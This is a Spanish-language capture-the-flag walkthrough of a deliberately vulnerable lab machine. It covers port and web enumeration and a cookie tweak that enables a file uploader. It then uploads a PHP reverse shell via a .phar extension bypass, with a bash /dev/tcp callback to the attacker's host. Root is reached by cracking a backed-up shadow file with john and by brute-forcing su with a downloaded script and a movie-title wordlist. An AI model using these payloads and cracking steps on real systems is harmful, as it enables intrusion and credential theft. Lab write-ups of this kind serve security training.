Comenzamos con la enumeración de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.214
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.214
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-18 22:36 -03
Nmap scan report for 192.168.1.214
Host is up (0.00033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 bc:fb:ec:b8:93:d4:e2:78:76:eb:1b:dc:4b:a7:7f:9b (RSA)
| 256 31:41:a0:d7:e9:3c:79:11:c2:f0:81:a0:fe:2d:f9:b0 (ECDSA)
|_ 256 c9:34:17:00:31:75:4d:c0:3a:a5:b1:16:36:0d:bb:18 (ED25519)
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-title: Bolt - Coming Soon Template
|_http-server-header: Apache/2.4.51 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.60 secondsEnumeramos con gobuster y revisamos las cabeceras con whatweb:
❯ gobuster dir -u http://192.168.1.214 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php (Status: 200) [Size: 3988]
/assets (Status: 200) [Size: 1496]
/license.txt (Status: 200) [Size: 528]
/notes.txt (Status: 200) [Size: 279]
...
❯ whatweb http://192.168.1.214
http://192.168.1.214 [200 OK] Apache[2.4.51], Bootstrap, Cookies[RW5hYmxlVXBsb2FkZXIK], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.51 (Debian)], IP[192.168.1.214], JQuery, Script[text/javascript], Title[Bolt - Coming Soon Template]
❯ echo "RW5hYmxlVXBsb2FkZXIK" | base64 -d
EnableUploaderEl notes.txt y la cookie EnableUploader indican que debemos cambiar el valor de la cookie para habilitar un subidor de archivos. La cookie vale false (ZmFsc2UK), así que la ponemos a true en base64:
❯ echo -n "true" | base64
dHJ1ZQ==Al recargar aparece un botón hacia la página de subida. La subida de .php está bloqueada:
❯ cat reverse.php
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>For security, .php files are allowed.Sorry, your file was not uploaded.Probamos extensiones alternativas y tenemos éxito con .phar. Accedemos a la ruta y obtenemos una shell. Las flags están en /media.
Para escalar privilegios, en /var/backups hay un backup que analizamos: contiene un shadow con los hashes de scpuser y root. Crackeamos con john y solo cae scpuser:
❯ /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash_scpuser
...
tigger (?)
...Iniciamos sesión como scpuser y obtenemos la primera flag. Para escalar a root, usamos su-bruteforce. En el home de scpuser hay un archivo con contraseñas antiguas de root, todas nombres de películas animadas, así que generamos un wordlist a partir de una lista de IMDb:
scpuser@comingsoon:/tmp$ wget https://raw.githubusercontent.com/carlospolop/su-bruteforce/master/suBF.sh❯ awk -F ',' '{print $6}' top_movies.csv | tr -d ' ' | tr -d '"' > movie_wordlistTransferimos el wordlist y lanzamos la fuerza bruta:
scpuser@comingsoon:/tmp$ wget http://192.168.1.10:8000/movie_wordlist_upper.txt
scpuser@comingsoon:/tmp$ ./suBF.sh -u root -w movie_wordlist_upper.txt
[+] Bruteforcing root...
You can login as root using password: ToyStory3
Wordlist exhaustedTambién podríamos crackear directamente el hash de root con ese mismo wordlist:
❯ /opt/john/run/john -w=movie_wordlist_upper.txt hash_root
...
ToyStory3 (?)
...Iniciamos sesión como root y obtenemos nuestra flag.
Fin.